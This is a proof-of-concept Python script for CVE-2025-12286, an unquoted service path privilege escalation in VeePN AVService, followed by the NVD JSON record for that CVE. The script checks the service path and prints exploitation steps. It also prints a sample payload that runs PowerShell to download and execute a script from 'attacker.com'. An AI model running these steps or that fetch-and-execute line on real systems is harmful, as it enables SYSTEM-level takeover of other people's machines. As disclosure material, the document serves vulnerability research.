CVE-2025-12286

# CVE-2025-12286 PoC - VeePN AVService Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability in VeePN AVService # Author: Security Researcher # Date: 2025-10-27 import os import sys import subprocess import shutil def check_vulnerability(): """ Check if VeePN AVService is installed and has unquoted path vulnerability """ print("[*] Checking for VeePN AVService vulnerability...") try: # Query Windows service configuration result = subprocess.run( ['sc', 'qc', 'VeePN_AVService'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: print("[+] VeePN AVService found") # Extract the binary path for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() print(f"[+] Binary path: {path}") # Check if path is unquoted and contains spaces if ' ' in path and not (path.startswith('"') and path.endswith('"')): print("[!] VULNERABLE: Path contains spaces without quotes") return True, path else: print("[-] NOT VULNERABLE: Path is properly quoted") return False, path else: print("[-] VeePN AVService not found") return False, None except Exception as e: print(f"[-] Error checking service: {e}") return False, None def exploit_veePN(): """ Exploit unquoted service path to gain SYSTEM privileges WARNING: This is for educational/testing purposes only """ print("[*] Exploitation requires:") print(" 1. Low-privileged user access") print(" 2. Write access to intermediate directories") print(" 3. Ability to restart the service") # Generate malicious executable path # For path: C:\Program Files (x86)\VeePN\avservice\avservice.exe # Attacker can place malicious.exe in: C:\Program Files (x86).exe print("\n[*] To exploit:") print(" 1. Create a malicious executable (e.g., revshell.exe)") print(" 2. Place it at: C:\\Program Files (x86).exe") print(" 3. Wait for service restart or reboot") print(" 4. The malicious code will execute with SYSTEM privileges") return True if __name__ == '__main__': is_vulnerable, path = check_vulnerability() if is_vulnerable: exploit_veePN() # Example malicious code that could be used (reverse shell) print("\n[*] Example malicious code structure:") print(''' // Simple reverse shell example #include <windows.h> #include <stdio.h> int main() {{ STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); // Connect back to attacker machine system("cmd.exe /c powershell -c \"IEX(New-Object Net.WebClient).downloadstring('http://attacker.com/shell.ps1')\""); return 0; }} ''')

{"cve": {"id": "CVE-2025-12286", "sourceIdentifier": "[email protected]", "published": "2025-10-27T14:15:40.190", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in VeePN up to 1.6.2. This affects an unknown function of the file C:\\Program Files (x86)\\VeePN\\avservice\\avservice.exe of the component AVService. This manipulation causes unquoted search path. The attack requires local access. A high degree of complexity is needed for the attack. The exploitability is reported as difficult. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:H/Au:S/C:C/I:C/A:C", "baseScore": 6.0, "accessVector": "LOCAL", "accessComplexity": "HIGH", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 1.5, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-426"}, {"lang": "en", "value": "CWE-428"}]}], "references": [{"url": "https://github.com/lakshayyverma/CVE-Discovery/blob/main/VeePn.md", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.329954", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.329954", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.672512", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.682569", "source": "[email protected]"}]}}